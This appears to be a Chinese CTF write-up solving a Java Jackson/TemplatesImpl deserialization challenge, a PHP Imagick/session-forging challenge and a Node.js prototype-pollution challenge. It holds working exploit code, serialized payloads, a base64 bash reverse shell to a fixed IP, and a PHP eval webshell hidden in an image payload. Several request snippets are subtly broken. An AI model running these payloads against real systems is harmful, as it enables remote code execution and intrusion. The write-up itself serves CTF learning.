data = {"param":"rO0ABXNyAC5qYXZheC5tYW5hZ2VtZW50LkJhZEF0dHJpYnV0ZVZhbHVlRXhwRXhjZXB0aW9u1Ofaq2MtRkACAAFMAAN2YWx0ABJMamF2YS9sYW5nL09iamVjdDt4cgATamF2YS5sYW5nLkV4Y2VwdGlvbtD9Hz4aOxzEAgAAeHIAE2phdmEubGFuZy5UaHJvd2FibGXVxjUnOXe4ywMABEwABWNhdXNldAAVTGphdmEvbGFuZy9UaHJvd2FibGU7TAANZGV0YWlsTWVzc2FnZXQAEkxqYXZhL2xhbmcvU3RyaW5nO1sACnN0YWNrVHJhY2V0AB5bTGphdmEvbGFuZy9TdGFja1RyYWNlRWxlbWVudDtMABRzdXBwcmVzc2VkRXhjZXB0aW9uc3QAEExqYXZhL3V0aWwvTGlzdDt4cHEAfgAIcHVyAB5bTGphdmEubGFuZy5TdGFja1RyYWNlRWxlbWVudDsCRio8PP0iOQIAAHhwAAAAAXNyABtqYXZhLmxhbmcuU3RhY2tUcmFjZUVsZW1lbnRhCcWaJjbdhQIABEkACmxpbmVOdW1iZXJMAA5kZWNsYXJpbmdDbGFzc3EAfgAFTAAIZmlsZU5hbWVxAH4ABUwACm1ldGhvZE5hbWVxAH4ABXhwAAAAKHQAA2V4cHQACGV4cC5qYXZhdAAEbWFpbnNyACZqYXZhLnV0aWwuQ29sbGVjdGlvbnMkVW5tb2RpZmlhYmxlTGlzdPwPJTG17I4QAgABTAAEbGlzdHEAfgAHeHIALGphdmEudXRpbC5Db2xsZWN0aW9ucyRVbm1vZGlmaWFibGVDb2xsZWN0aW9uGUIAgMte9x4CAAFMAAFjdAAWTGphdmEvdXRpbC9Db2xsZWN0aW9uO3hwc3IAE2phdmEudXRpbC5BcnJheUxpc3R4gdIdmcdhnQMAAUkABHNpemV4cAAAAAB3BAAAAAB4cQB%2BABV4c3IALGNvbS5mYXN0ZXJ4bWwuamFja3Nvbi5kYXRhYmluZC5ub2RlLlBPSk9Ob2RlAAAAAAAAAAICAAFMAAZfdmFsdWVxAH4AAXhyAC1jb20uZmFzdGVyeG1sLmphY2tzb24uZGF0YWJpbmQubm9kZS5WYWx1ZU5vZGUAAAAAAAAAAQIAAHhyADBjb20uZmFzdGVyeG1sLmphY2tzb24uZGF0YWJpbmQubm9kZS5CYXNlSnNvbk5vZGUAAAAAAAAAAQIAAHhwc3IAOmNvbS5zdW4ub3JnLmFwYWNoZS54YWxhbi5pbnRlcm5hbC54c2x0Yy50cmF4LlRlbXBsYXRlc0ltcGwJV0%2FBbqyrMwMABkkADV9pbmRlbnROdW1iZXJJAA5fdHJhbnNsZXRJbmRleFsACl9ieXRlY29kZXN0AANbW0JbAAZfY2xhc3N0ABJbTGphdmEvbGFuZy9DbGFzcztMAAVfbmFtZXEAfgAFTAARX291dHB1dFByb3BlcnRpZXN0ABZMamF2YS91dGlsL1Byb3BlcnRpZXM7eHAAAAAA%2F%2F%2F%2F%2F3VyAANbW0JL%2FRkVZ2fbNwIAAHhwAAAAAXVyAAJbQqzzF%2FgGCFTgAgAAeHAAAAYOyv66vgAAADQANQoACAAlCgAmACcIACgKACYAKQcAKgoABQArBwAsBwAtAQAGPGluaXQ%2BAQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAAlMZXZpbHJlZjsBAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhkb2N1bWVudAEALUxjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NOwEACGhhbmRsZXJzAQBCW0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKRXhjZXB0aW9ucwcALgEAEE1ldGhvZFBhcmFtZXRlcnMBAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACDxjbGluaXQ%2BAQABZQEAFUxqYXZhL2lvL0lPRXhjZXB0aW9uOwEADVN0YWNrTWFwVGFibGUHACoBAApTb3VyY2VGaWxlAQAMZXZpbHJlZi5qYXZhDAAJAAoHAC8MADAAMQEABGNhbGMMADIAMwEAE2phdmEvaW8vSU9FeGNlcHRpb24MADQACgEAB2V2aWxyZWYBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEAD3ByaW50U3RhY2tUcmFjZQAhAAcACAAAAAAABAABAAkACgABAAsAAAAvAAEAAQAAAAUqtwABsQAAAAIADAAAAAYAAQAAAAkADQAAAAwAAQAAAAUADgAPAAAAAQAQABEAAwALAAAAPwAAAAMAAAABsQAAAAIADAAAAAYAAQAAABYADQAAACAAAwAAAAEADgAPAAAAAAABABIAEwABAAAAAQAUABUAAgAWAAAABAABABcAGAAAAAkCABIAAAAUAAAAAQAQABkAAwALAAAASQAAAAQAAAABsQAAAAIADAAAAAYAAQAAABsADQAAACoABAAAAAEADgAPAAAAAAABABIAEwABAAAAAQAaABsAAgAAAAEAHAAdAAMAFgAAAAQAAQAXABgAAAANAwASAAAAGgAAABwAAAAIAB4ACgABAAsAAABhAAIAAQAAABK4AAISA7YABFenAAhLKrYABrEAAQAAAAkADAAFAAMADAAAABYABQAAAA0ACQAQAAwADgANAA8AEQARAA0AAAAMAAEADQAEAB8AIAAAACEAAAAHAAJMBwAiBAABACMAAAACACRwdAAHc2hhbmdoZXB3AQB4"}


#string2 = "rO0ABXNyADZzY2FsYS5jb2xsZWN0aW9uLmltbXV0YWJsZS5MYXp5TGlzdCRTZXJpYWxpemF0aW9uUHJveHkAAAAAAAAAAwMAAHhwc3IAJnNjYWxhLnJ1bnRpbWUuTW9kdWxlU2VyaWFsaXphdGlvblByb3h5AAAAAAAAAAECAAFMAAttb2R1bGVDbGFzc3QAEUxqYXZhL2xhbmcvQ2xhc3M7eHB2cgAmc2NhbGEuY29sbGVjdGlvbi5nZW5lcmljLlNlcmlhbGl6ZUVuZCQAAAAAAAAAAwIAAHhwc3IAI3NjYWxhLmNvbGxlY3Rpb24uaW1tdXRhYmxlLkxhenlMaXN0AAAAAAAAAAMDAAVaAAhiaXRtYXAkMFoADW1pZEV2YWx1YXRpb25aADNzY2FsYSRjb2xsZWN0aW9uJGltbXV0YWJsZSRMYXp5TGlzdCQkc3RhdGVFdmFsdWF0ZWRMAAlsYXp5U3RhdGV0ABFMc2NhbGEvRnVuY3Rpb24wO0wAKnNjYWxhJGNvbGxlY3Rpb24kaW1tdXRhYmxlJExhenlMaXN0JCRzdGF0ZXQAK0xzY2FsYS9jb2xsZWN0aW9uL2ltbXV0YWJsZS9MYXp5TGlzdCRTdGF0ZTt4cAAAAXNyAExzY2FsYS5zeXMucHJvY2Vzcy5Qcm9jZXNzQnVpbGRlckltcGwkRmlsZU91dHB1dCQkYW5vbmZ1biQkbGVzc2luaXQkZ3JlYXRlciQzAAAAAAAAAAACAAJaAAhhcHBlbmQkMUwABmZpbGUkMnQADkxqYXZhL2lvL0ZpbGU7eHAAc3IADGphdmEuaW8uRmlsZQQtpEUODeT/AwABTAAEcGF0aHQAEkxqYXZhL2xhbmcvU3RyaW5nO3hwdAAYLi9zZWN1cml0eS9ibGFja2xpc3QudHh0dwIAL3hzcQB+AAJ2cgAwc2NhbGEuY29sbGVjdGlvbi5pbW11dGFibGUuTGF6eUxpc3QkU3RhdGUkRW1wdHkkAAAAAAAAAAMCAAB4cHh4"
string = "rO0ABXNyAC5qYXZheC5tYW5hZ2VtZW50LkJhZEF0dHJpYnV0ZVZhbHVlRXhwRXhjZXB0aW9u1Ofaq2MtRkACAAFMAAN2YWx0ABJMamF2YS9sYW5nL09iamVjdDt4cgATamF2YS5sYW5nLkV4Y2VwdGlvbtD9Hz4aOxzEAgAAeHIAE2phdmEubGFuZy5UaHJvd2FibGXVxjUnOXe4ywMABEwABWNhdXNldAAVTGphdmEvbGFuZy9UaHJvd2FibGU7TAANZGV0YWlsTWVzc2FnZXQAEkxqYXZhL2xhbmcvU3RyaW5nO1sACnN0YWNrVHJhY2V0AB5bTGphdmEvbGFuZy9TdGFja1RyYWNlRWxlbWVudDtMABRzdXBwcmVzc2VkRXhjZXB0aW9uc3QAEExqYXZhL3V0aWwvTGlzdDt4cHEAfgAIcHVyAB5bTGphdmEubGFuZy5TdGFja1RyYWNlRWxlbWVudDsCRio8PP0iOQIAAHhwAAAAAXNyABtqYXZhLmxhbmcuU3RhY2tUcmFjZUVsZW1lbnRhCcWaJjbdhQIABEkACmxpbmVOdW1iZXJMAA5kZWNsYXJpbmdDbGFzc3EAfgAFTAAIZmlsZU5hbWVxAH4ABUwACm1ldGhvZE5hbWVxAH4ABXhwAAAAKHQAA2V4cHQACGV4cC5qYXZhdAAEbWFpbnNyACZqYXZhLnV0aWwuQ29sbGVjdGlvbnMkVW5tb2RpZmlhYmxlTGlzdPwPJTG17I4QAgABTAAEbGlzdHEAfgAHeHIALGphdmEudXRpbC5Db2xsZWN0aW9ucyRVbm1vZGlmaWFibGVDb2xsZWN0aW9uGUIAgMte9x4CAAFMAAFjdAAWTGphdmEvdXRpbC9Db2xsZWN0aW9uO3hwc3IAE2phdmEudXRpbC5BcnJheUxpc3R4gdIdmcdhnQMAAUkABHNpemV4cAAAAAB3BAAAAAB4cQB+ABV4c3IALGNvbS5mYXN0ZXJ4bWwuamFja3Nvbi5kYXRhYmluZC5ub2RlLlBPSk9Ob2RlAAAAAAAAAAICAAFMAAZfdmFsdWVxAH4AAXhyAC1jb20uZmFzdGVyeG1sLmphY2tzb24uZGF0YWJpbmQubm9kZS5WYWx1ZU5vZGUAAAAAAAAAAQIAAHhyADBjb20uZmFzdGVyeG1sLmphY2tzb24uZGF0YWJpbmQubm9kZS5CYXNlSnNvbk5vZGUAAAAAAAAAAQIAAHhwc3IAOmNvbS5zdW4ub3JnLmFwYWNoZS54YWxhbi5pbnRlcm5hbC54c2x0Yy50cmF4LlRlbXBsYXRlc0ltcGwJV0/BbqyrMwMABkkADV9pbmRlbnROdW1iZXJJAA5fdHJhbnNsZXRJbmRleFsACl9ieXRlY29kZXN0AANbW0JbAAZfY2xhc3N0ABJbTGphdmEvbGFuZy9DbGFzcztMAAVfbmFtZXEAfgAFTAARX291dHB1dFByb3BlcnRpZXN0ABZMamF2YS91dGlsL1Byb3BlcnRpZXM7eHAAAAAA/////3VyAANbW0JL/RkVZ2fbNwIAAHhwAAAAAXVyAAJbQqzzF/gGCFTgAgAAeHAAAAYOyv66vgAAADQANQoACAAlCgAmACcIACgKACYAKQcAKgoABQArBwAsBwAtAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAAlMZXZpbHJlZjsBAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhkb2N1bWVudAEALUxjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NOwEACGhhbmRsZXJzAQBCW0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKRXhjZXB0aW9ucwcALgEAEE1ldGhvZFBhcmFtZXRlcnMBAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACDxjbGluaXQ+AQABZQEAFUxqYXZhL2lvL0lPRXhjZXB0aW9uOwEADVN0YWNrTWFwVGFibGUHACoBAApTb3VyY2VGaWxlAQAMZXZpbHJlZi5qYXZhDAAJAAoHAC8MADAAMQEABGNhbGMMADIAMwEAE2phdmEvaW8vSU9FeGNlcHRpb24MADQACgEAB2V2aWxyZWYBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEAD3ByaW50U3RhY2tUcmFjZQAhAAcACAAAAAAABAABAAkACgABAAsAAAAvAAEAAQAAAAUqtwABsQAAAAIADAAAAAYAAQAAAAkADQAAAAwAAQAAAAUADgAPAAAAAQAQABEAAwALAAAAPwAAAAMAAAABsQAAAAIADAAAAAYAAQAAABYADQAAACAAAwAAAAEADgAPAAAAAAABABIAEwABAAAAAQAUABUAAgAWAAAABAABABcAGAAAAAkCABIAAAAUAAAAAQAQABkAAwALAAAASQAAAAQAAAABsQAAAAIADAAAAAYAAQAAABsADQAAACoABAAAAAEADgAPAAAAAAABABIAEwABAAAAAQAaABsAAgAAAAEAHAAdAAMAFgAAAAQAAQAXABgAAAANAwASAAAAGgAAABwAAAAIAB4ACgABAAsAAABhAAIAAQAAABK4AAISA7YABFenAAhLKrYABrEAAQAAAAkADAAFAAMADAAAABYABQAAAA0ACQAQAAwADgANAA8AEQARAA0AAAAMAAEADQAEAB8AIAAAACEAAAAHAAJMBwAiBAABACMAAAACACRwdAAHc2hhbmdoZXB3AQB4"
res =requests.post(url=url,data=string)

print(res.text)

坑点

参考:https://boogipop.com/2023/04/24/AliyunCTF%202023%20WriteUP/
我也算是比较火星了,这个坑点在 aliyun 的时候就已经有师傅作了分析,但是那时候我还不会 java,压根做不动一道题,放弃了,结果这次出现了,算了,趁这次解决一下吧。

就是如果直接用题目的包的话,一定会无法序列化,会报错。
会指出空指针错误,原因就在 writeReplace 这里,序列化的时候会调用父类 writeReplace 方法,而没有正常去序列化

1
2
3
Object writeReplace() {
return NodeSerialization.from(this);
}

所以要删掉这个方法,由于改 jar 包过于麻烦,
我们直接在本地起个一模一样的类,
创个一样的包,将类的内容全部复制过来,然后把这个方法删去,就可以正常序列化了。

aliyunbapassit

直接拿上面的 payload 打:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
import com.fasterxml.jackson.databind.node.POJONode;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import com.fasterxml.jackson.databind.node.BaseJsonNode;
import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.Base64;


public class exp {
public static void main(String[] args)throws Exception{
ClassPool classPool = ClassPool.getDefault();
CtClass ctClass = classPool.get(evilref.class.getName());

// CtClass superClass = classPool.get(AbstractTranslet.class.getName());
// ctClass.setSuperclass(superClass);
//
// CtConstructor constructor = new CtConstructor(new CtClass[]{},ctClass);
//
// constructor.setBody("Runtime.getRuntime().exec(\"calc\");");
//
// ctClass.addConstructor(constructor);

byte[] code = ctClass.toBytecode();
//byte[][] codes = new byte[][]{code};
TemplatesImpl templates = new TemplatesImpl();

ref(templates, "_bytecodes", new byte[][]{code});
ref(templates, "_name", "shanghe");
ref(templates, "_tfactory", new TransformerFactoryImpl());

POJONode jsonNodes = new POJONode(templates);
BadAttributeValueExpException exp = new BadAttributeValueExpException(null);
Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
val.setAccessible(true);
val.set(exp,jsonNodes);

serialize_func.serialize(exp);
WriteToFileExample(serialize_func.encryptToBase64("ser.bin"));














}

public static void WriteToFileExample(String args) {
String content = "这是要写入文件的字符串内容";

try {
BufferedWriter writer = new BufferedWriter(new FileWriter("output.txt"));
writer.write(args);
writer.close();
System.out.println("字符串已成功写入文件。");
} catch (IOException e) {
System.out.println("写入文件时发生错误:" + e.getMessage());
}
}
public static void ref(Object obj,String field,Object value) throws NoSuchFieldException, IllegalAccessException {

Field reffield = obj.getClass().getDeclaredField(field);
reffield.setAccessible(true);
reffield.set(obj,value);

}
public static String serial(Object o) throws IOException, NoSuchFieldException{
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);

oos.writeObject(o);
oos.close();
String base64String = Base64.getEncoder().encodeToString(baos.toByteArray());
return base64String;
}
public static void deserial(String data) throws Exception {
byte[] base64decodedBytes = Base64.getDecoder().decode(data);
ByteArrayInputStream bais = new ByteArrayInputStream(base64decodedBytes);
ObjectInputStream ois = new ObjectInputStream(bais);
ois.readObject();
ois.close();
}
}

命令执行改成反弹 shell 就行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;

public class evilref extends AbstractTranslet {
static{

try {
Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80My4xNDMuMTkyLjE5LzExNDUgMD4mMQ==}|{base64,-d}|{bash,-i}");
} catch (IOException e) {
e.printStackTrace();
}
}

@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

}

@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

}
}

然后根据题目路由

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

package com.ctf.bypassit;

import java.io.ObjectInputStream;
import javax.servlet.http.HttpServletRequest;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseBody;

@Controller
public class IndexController {
public IndexController() {
}

@RequestMapping({"/bypassit"})
@ResponseBody
public String bypassIt(HttpServletRequest request) {
try {
ObjectInputStream ois = new ObjectInputStream(request.getInputStream());
ois.readObject();
} catch (Exception var3) {
var3.printStackTrace();
}

return "bypass it and rce it";
}
}

直接写个 python 脚本,把序列化的内容传过去。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import requests



url ="http://localhost:8080/bypassit"

with open('ser.bin','rb') as file:
file_content = file
res = requests.post(url=url, data=file_content)
print(res.text)




序列化后内容写到了 ser.bin,复制到 python 路径下,简单使用 python。
本地 dockerfile 复现的,不过基本就是打出来了。
eeeeeeeeeeez~
python 真是太好用了,对于我这个用不来 burp 完成复杂请求的,python 就是福音!!
{“”:true,“base64Code”:“aaa”} base64 绕过 jsoninject。

FUMO_backdoor

康康 nu1l:https://github.com/AFKL-CUIT/CTF-Challenges/blob/master/CISCN/2022/backdoor/writup/writup.md
先来一波源码鉴赏:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
<?php
error_reporting(0);
ini_set('open_basedir', __DIR__.":/tmp");
define("FUNC_LIST", get_defined_functions());

class fumo_backdoor {
public $path = null;
public $argv = null;
public $func = null;
public $class = null;

public function __sleep() {
if (
file_exists($this->path) &&
preg_match_all('/[flag]/m', $this->path) === 0
) {
readfile($this->path);
}
}

public function __wakeup() {
$func = $this->func;
if (
is_string($func) &&
in_array($func, FUNC_LIST["internal"])
) {
call_user_func($func);
} else {
$argv = $this->argv;
$class = $this->class;

new $class($argv);
}
}
}

$cmd = $_REQUEST['cmd'];
$data = $_REQUEST['data'];

switch ($cmd) {
case 'unserialze':
unserialize($data);
break;

case 'rm':
system("rm -rf /tmp 2>/dev/null");
break;

default:
highlight_file(__FILE__);
break;
}

flag 在 /flag
想办法 readfile 读 flag。
不过限权了,目前是要想办法触发_sleep。
源码里面没有任何涉及到序列化的操作,只能看 session 了。
这里面的源码有一个调用任意无参方法,可以看一波 phpinfo ();
经观察,开了 imagegick 方法,那这玩意在绕过限制的时候有用。

复制 flag

本题限制了读取目录,但是开了 imagegick 扩展,可以选择 imagick 将 flag 复制到 tmp 目录下。
使用 msl 执行 xml。
上传带有 xml 内容的读写 flag:

1
2
3
4
5
<?xml version="1.0" encoding="UTF-8"?>
<image>
<read filename="uyvy:/flag"/>
<write filename="/tmp/motomoto"/>
</image>

uyvy 检测不严,然后使用 imagick 扩展,实例化参数 vid:msl:/tmp/php*
由于上传文件到 tmp 的文件名都是 php 后跟几位随机字母数字。

1
O%3A13%3A%22fumo_backdoor%22%3A4%3A%7Bs%3A4%3A%22path%22%3BN%3Bs%3A4%3A%22argv%22%3Bs%3A17%3A%22vid%3Amsl%3A%2Ftmp%2Fphp%2A%22%3Bs%3A4%3A%22func%22%3Bs%3A6%3A%22aadsad%22%3Bs%3A5%3A%22class%22%3Bs%3A7%3A%22Imagick%22%3B%7D

这样就读根目录 flag 并复制到当前的 motomoto 下。

1
2
3
4
5
6
7
8
9
10
11
12
a2 = "unserialze"
res1 = "O%3A13%3A%22fumo_backdoor%22%3A4%3A%7Bs%3A4%3A%22path%22%3BN%3Bs%3A4%3A%22argv%22%3Bs%3A17%3A%22vid%3Amsl%3A%2Ftmp%2Fphp%2A%22%3Bs%3A4%3A%22func%22%3Bs%3A6%3A%22aadsad%22%3Bs%3A5%3A%22class%22%3Bs%3A7%3A%22Imagick%22%3B%7D"
url = f"http://192.168.226.1:18080/?cmd={a2}&data={res1}"
file6 = b"""
<?xml version="1.0" encoding="UTF-8"?>
<image>
<read filename="uyvy:/flag"/>
<write filename="/tmp/motomoto"/>
</image>
"""
files6 = {"enterpr1se":file6}
res2 = requests.post(url=url2,files=files6)

写 session

由于要触发__sleep 魔术方法,考虑了一下,也就 session_start () 能这么干,看了大佬的文章,可以构造如下 payload。

1
2
3
4
5
<?xml version="1.0" encoding="UTF-8"?>
<image>
<read filename="inline:data://image/x-portable-anymap;base64,UDYKOSA5CjI1NQoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADw/cGhwIGV2YWwoJF9HRVRbMV0pOz8+fE86ODoiYmFja2Rvb3IiOjI6e3M6NDoicGF0aCI7czoxNDoiL3RtcC9zZXNzX2Fma2wiO3M6MTI6ImRvX2V4ZWNfZnVuYyI7YjowO30=" />
<write filename="/tmp/sess_afkl" />
</image>

其中 sess 后面自己改,等会就要携带 PHPSESSID=afkl(或其他),后面 base64 需要我们自己构造需要 session 进行序列化的内容,默认是序列化 | 之后的内容。
将师傅的 base64 转成文件,放入 010 看一下:
微信截图_20230621101539.png
我们需要在后面修改一下。
这里修改有坑,不知道为啥,要尾部 30=,起码得满足这个条件。反正要试很久。
反正有本地 docker,没有的话我真不敢想要咋打。

修改以后用 python 发包,文件上传。

1
2
3
4
5
6
7
8
9
10
11
12
a2 = "unserialze"
res1 = "O%3A13%3A%22fumo_backdoor%22%3A4%3A%7Bs%3A4%3A%22path%22%3BN%3Bs%3A4%3A%22argv%22%3Bs%3A17%3A%22vid%3Amsl%3A%2Ftmp%2Fphp%2A%22%3Bs%3A4%3A%22func%22%3Bs%3A6%3A%22aadsad%22%3Bs%3A5%3A%22class%22%3Bs%3A7%3A%22Imagick%22%3B%7D"
url = f"http://192.168.226.1:18080/?cmd={a2}&data={res1}"
file5 = b"""
<?xml version="1.0" encoding="UTF-8"?>
<image>
<read filename="inline:data://image/x-portable-anymap;base64,UDYKOSA5CjI1NQoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHJ1YmJpc2hoaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGhoaGhoaHxPOjEzOiJmdW1vX2JhY2tkb29yIjoxOntzOjQ6InBhdGgiO3M6OToiL3RtcC95b3J1Ijt9"/>
<write filename="/tmp/sess_shuiwuyue" />
</image>
"""
files6 = {"enterpr1se":file6}
res2 = requests.post(url=url2,files=files5)

此时,我们文件微信截图_20230621103132.png
写入了要序列化的类,并且复制了微信截图_20230621103318.png
也有点玄学,需要凹一下。

读 flag~

一切准备就绪后,就通过无参调用 session_start 触发 session 序列化,从而读 flag。

1
O:13:"fumo_backdoor":2:{s:4:"path";N;s:4:"func";s:13:"session_start";}

然后访问

1
http://192.168.226.1:18080/?cmd=unserialze&data=O%3A13%3A%22fumo_backdoor%22%3A2%3A%7Bs%3A4%3A%22path%22%3BN%3Bs%3A4%3A%22func%22%3Bs%3A13%3A%22session_start%22%3B%7D

微信截图_20230621141105.png

Monitor

源码分析

import

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
app.get("/api/server/import", (req, res) => {
const keys = Object.keys(req.query);

keys.forEach(function(key) {
merge(validUrls,key,req.query[key]);
});

console.log(validUrls);
let responseData = {
success : true,
message : "Successfully added the address to the whitelist"
};
return res.json(responseData);
});

function merge(obj,key,value) {
const dotIndex = key.indexOf(".");
if (dotIndex != -1){
const key1 = key.substring(0, dotIndex);
const key2 = key.substring(dotIndex + 1);
merge(obj[key1],key2,value)
}else {
obj[key] = value
}
}

典型的一个原型链污染。
经过调试可知,正常情况下,就是让 obj 的对象增加一对 key:value
当第二个参数有。的时候,. 前面的内容记作 key1,. 后面的内容记作 key2。而后递归调用,
obj 对象中的 key1 对象增加一个键值对 key2:value。
如果说 key 替换成 proto.x1, 就会造成 obj 的__proto__的值发生改变。达成一个原型链污染。

check 路由

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
http.get(options, (response) => {
if (response.statusCode !== 200) {
let responseData = {
success : false,
message : 'Target url status code :'+response.statusCode,
}
return res.json(responseData);
}
mergeObjects(liveUrls,validUrls,hostname);
console.log(`Added ${hostname} to liveUrls array.`);

let resData = '';
response.on('data', (chunk) => {
resData += chunk;
});

response.on('end', () => {
let responseData = {
success : true,
message : resData
};
return res.json(responseData);
});

}).on('error', (error) => {
let responseData = {
success : false,
message : error.message
}
return res.json(responseData);
});

这里发起请求,可以打一个 ssrf

1
SET IsAdminSession HTTP/1.1

